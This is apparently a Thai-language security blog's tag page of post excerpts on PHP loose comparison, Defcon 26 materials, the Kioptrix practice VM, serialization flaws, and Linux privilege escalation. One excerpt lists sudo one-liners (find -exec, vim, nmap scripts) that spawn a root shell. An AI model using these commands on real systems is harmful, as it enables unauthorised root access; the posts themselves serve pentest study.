Posts by tag
security
โดยปกติแล้วธรรมชาติของ PHP เวลามีการใช้งาน == เพื่อทำการเปรียบเทียบค่าของ 2 parameter ตัว PHP จะมีการพยายามแปลงสภาพของ parameter ให้เป็นลักษณะของข้อมูลเดียวกัน เช่น การเปรียบเทียบปกติ
ผลลัพธ์คือ ตัวอย่างต่อมาถ้าเป็น int แต่ค่าไม่เท่ากัน เราจะเขียนเป็น
ผลลัพธ์คือไม่เท่ากัน เพราะค่า a และ b ไม่เท่ากัน ตัวอย่างต่อมาถ้าเป็น string เราจะเขียนเป็น…
1 2 3 4 5 6 7 8 9 10 11 |
<?php $a = 1; $b = 1; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?> |
1 2 3 4 5 6 7 8 9 10 11 |
<?php $a = 1; $b = 0; var_dump($a); var_dump($b); if ($a == $b) { print "a and b are the same\n"; } else { print "a and b are NOT the same\n"; } ?> |
slide และเอกสารต่างๆของ Workshop และอื่นๆ ที่ถูกใช้ในงาน Defcon 26 เมื่ออาทิตย์ที่ผ่านมา ได้ upload ขึ้น website ของ DefCon แล้วครับ หากใครสนใจเข้าไปดูเลย
วันนี้ผมเองเพิ่งจะมานั่ง clear tab (ซึ่ง ณ ตอนที่เขียนก็มีจำนวนตามภาพด้านล่าง) ที่เปิดค้างไว้ แล้วทีนี้เจอว่าเปิด post สำหรับ VM ที่มีช่องโหว่ที่แนะนำให้โหลดมาฝึกเล่นก่อนที่จะสอบ OSCP ก็เลยจับ Kiotrix ที่อยู่บนสุดของ List มาเล่นหน่อยละกัน Kioptrix เป็น VM ที่มีช่องโหว่สารพัดให้เราฝึกกัน โดยมันจะมีหลายๆ level ด้วยกัน ซึ่งจริงๆแล้วมันมีคนเคยเขียน blog มาหลายๆ blog แล้ว…
พอดีผมไปเจอ blog สำหรับการให้ได้มา shell ที่เป็นสิทธิ์ root ผ่าน command ต่างๆกัน โดยสามารถทำได้ผ่านสารพัดคำสั่งดังนี้ (อธิบายเรื่อง su และ sudo)
1. Find command
2. vim command
3. Nmap command
4. Man command…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 |
/usr/bin/find /bin/echo /usr/bin/nmap /usr/bin/vim /usr/bin/nano /usr/bin/man /usr/bin/awk /usr/bin/less /usr/bin/ftp /usr/sbin/apache2 /usr/bin/wget /usr/sbin/tcpdump /usr/bin/strace /bin/mount |
1 2 |
sudo find /etc/passwd -exec /bin/sh \; sudo find /bin -name nano -exec /bin/sh \; |
1 |
sudo vim -c '!sh' |
1 2 3 4 5 6 |
# Old version sudo nmap --interactive nmap> !sh sh-4.1# # New version echo "os.execute('/bin/sh')" > /tmp/shell.nse && sudo nmap --script=/tmp/shell.nse |
เมื่อช่วงสัปดาห์ที่ผ่านมา René Freingruber (@ReneFreingruber) จาก SEC Consult Vulnerability Lab ได้ออก post เกี่ยวกับ trick การ bypass Windows defend mechanism ต่างๆ ออกมา โดยผมเอามาสรุปให้อีกทีดังนี้ครับ (ทั้งหมดนี้ได้ถูกแจ้งไปยัง Microsoft และออก patch แก้ไขแล้วครับ) 1. วิธีการสร้าง folder ใน path ที่ user…
Microsoft ออก patch Tuesday ประจำเดือน มิถุนายน 2018 ซึ่งมีการแก้ไขช่องโหว่ใน Applicatoin มากมาย ไม่ว่าจะเป็น Windows, Internet Explorer, Edge, MS Office, MS Office Exchange Server, ChakraCore, และ Adobe Flash Player ด้วย รวมทั้งสิ้น 50 ช่องโหว่…
หลังจากอธิบาย PHP Serialization ไปแล้ว ก็มาต่อกับ Java Serialization กันครับ โดยในโพสต์นี้ผมจะไม่ได้โพสต์เริ่มใหม่นะครับ เพราะได้อธิบายหลักการของ Serialization และ Unserialization ไปหมดแล้ว แต่จะมาอธิบายความแตกต่างระหว่าง PHP กับ Java ว่ามีลักษณะในการทำ Serialization และ Unserialization แตกต่างกันยังไงแค่นั้นครับ ตัวอย่าง Code ของการทำ Serialization ใน Java
ตัว…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
import java.io.*; public class Serial { public static void main(String[] args) { String name = "Nytro"; String filename = "file.bin"; try { FileOutputStream file = new FileOutputStream(filename); ObjectOutputStream out = new ObjectOutputStream(file); // Serialization of the "name" (String) object // Will be written to "file.bin" out.writeObject(name); out.close(); file.close(); } catch(Exception e) { System.out.println("Exception: " + e.toString()); } } } |
ใน OWASP Top 10 มีความเสี่ยงหนึ่งที่ถูกเพิ่มเข้ามานั่นคือ A8:2017-Insecure Deserializationซึ่งเป็นช่องโหว่ที่ไม่พบมากนัก แต่ก็ถือว่าเป็นช่องโหว่อีกช่องโหว่หนึ่งที่รุนแรงมากเช่นกัน เรามาดูกันดีกว่าว่ามันคืออะไรครับ PHP Object
จาก Class จะเห็นถึงการสร้าง PHP Object จาก class นะครับ และมีการเรียกใช้ฟังก์ชั่น PrintVariable() จาก class ที่ถูกสร้างมา ทีนี้ Class นั้นสามารถมี function ที่เรียกว่า Magic function…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 |
<?php classTestClass { // A variable public$variable = 'This is a string'; // A simple method public function PrintVariable() { echo$this->variable; } } // Create an object $object = new TestClass(); // Call a method $object->PrintVariable(); ?> |
โพสต์นี้จะเป็นการเพิ่มสิทธิ์ของ user ใน Linux ผ่านการกำหนด PATH environment นะครับ โดย PATH environment จะเป็นตัวแปลที่เก็บตำแหน่งของคำสั่งใน Linux ไว้นั่นเอง ซึ่งแต่ละ user ก็จะมี PATH ที่แตกต่างกันไปครับ ทีนี้หากเราใช้คำสั่งเช่น ifconfig เวลาที่ Linux ทำงานคือ มันก็จะไปหา ifconfig ว่าอยู่ใน path ไหนใน PATH…
Recent Comments